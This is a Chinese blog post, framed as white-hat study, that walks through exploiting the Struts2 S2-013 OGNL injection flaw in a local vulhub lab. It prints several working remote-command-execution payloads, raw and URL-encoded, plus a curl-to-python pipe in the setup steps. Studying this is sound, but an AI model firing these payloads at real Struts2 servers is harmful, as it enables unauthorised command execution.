Struts-S2-013漏洞利用(含環(huán)境搭建、含POC)

S2-013

此文僅供大家交流學(xué)習(xí),嚴禁非法使用

一、參考網(wǎng)址:

https://github.com/phith0n/vulhub/tree/master/struts2/s2-013

二、 影響版本:

http://struts.apache.org/docs/s2-013.html

三、 漏洞介紹:

  • 在Struts Blank應(yīng)用程序中打開HelloWorld.jsp,并將以下參數(shù)添加到url / a標簽之一:

includeParams="all"

  • 這樣一來,這條線將會是這樣的:

<s:url
id="url"
action="HelloWorld"
includeParams="all">

  • (它也適用于includeParams =“get”)。

  • 運行struts2-blank應(yīng)用程序

  • 打開url:http:// localhost:8080 / example / HelloWorld.action?fakeParam =%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'% 5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse()。getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
    (這是縮寫版http://goo.gl/lhlTl

  • 你會注意到,在這種情況下,沒有辦法逃避/清理fakeParam,因為它不是一個預(yù)期的參數(shù)。

  • Struts2 標簽中 <s:a> 和 <s:url> 都包含一個 includeParams 屬性,其值可設(shè)置為 none,get 或 all,參考官方其對應(yīng)意義如下:

none - 鏈接不包含請求的任意參數(shù)值(默認)

get - 鏈接只包含 GET 請求中的參數(shù)和其值

all - 鏈接包含 GET 和 POST 所有參數(shù)和其值

<s:a>用來顯示一個超鏈接,當includeParams=all的時候,會將本次請求的GET和POST參數(shù)都放在URL的GET參數(shù)上。在放置參數(shù)的過程中會將參數(shù)進行OGNL渲染,造成任意命令執(zhí)行漏洞。

四、 環(huán)境搭建:

(windows)

環(huán)境搭建,類似與一下安裝showcase,相同方法可以部署blank

  • 下載/struts/2.1.6

下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下載安裝xampp

  • 部署showcase

  • 解壓

2.1.6_1.png

2.1.6_2.png
  • 復(fù)制到.
2.1.6_3.png
  • 重啟tomcat
2.1.6_4.png
  • 已成功自動部署
2.1.6_5.png
  • 修改配置

在Struts Blank應(yīng)用程序中打開HelloWorld.jsp,并將以下參數(shù)添加到url / a標簽之一:
includeParams="all"
這樣一來,這條線將會是這樣的:
<s:url id="url" action="HelloWorld" includeParams="all">
運行struts2-blank應(yīng)用程序

環(huán)境搭建:(ubuntu)

curl -s https://bootstrap.pypa.io/get-pip.py | python3

  • 安裝docker
    apt-get update && apt-get install docker.io

  • 啟動docker服務(wù)
    service docker start

  • 安裝compose
    pip install docker-compose

注意要先ssh連接,將公鑰添加到github上,具體參照網(wǎng)上教程

  • 拉取項目
    git clone git@github.com:phith0n/vulhub.git
    cd vulhub

  • 進入某一個漏洞/環(huán)境的目錄
    cd nginx_php5_mysql

  • 自動化編譯環(huán)境
    docker-compose build

  • 啟動整個環(huán)境
    docker-compose up -d

五、 POC:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

六、 測試網(wǎng)址:

原始網(wǎng)址為:

http:// 127.0.0.1:8080/struts2-blank-2.1.6/example/HelloWorld.action

更改后網(wǎng)址為:

http://127.0.0.1:8080/struts2-blank-2.1.6/example/HelloWorld.action?url=%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%23d%29%2C%23out.close%28%29%29%7D

七、執(zhí)行結(jié)果

1.png

八、 發(fā)現(xiàn)問題并修改

存在問題是:執(zhí)行結(jié)果多行時可能無法輸出多行(windows),歹后續(xù)更改POC

后續(xù)POC

%24%7B(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%7D

彌補之前POC在windows中執(zhí)行命令結(jié)果多行,但只顯示第一行的問題,比如ipconfig
執(zhí)行結(jié)果


2.png

注意,修改res大小來獲取需要的結(jié)果的大小

九、 至此,該漏洞基本利用完畢

本人還是一個未畢業(yè)的小萌新,希望大家多多幫助,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家

堅決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

推薦閱讀更多精彩內(nèi)容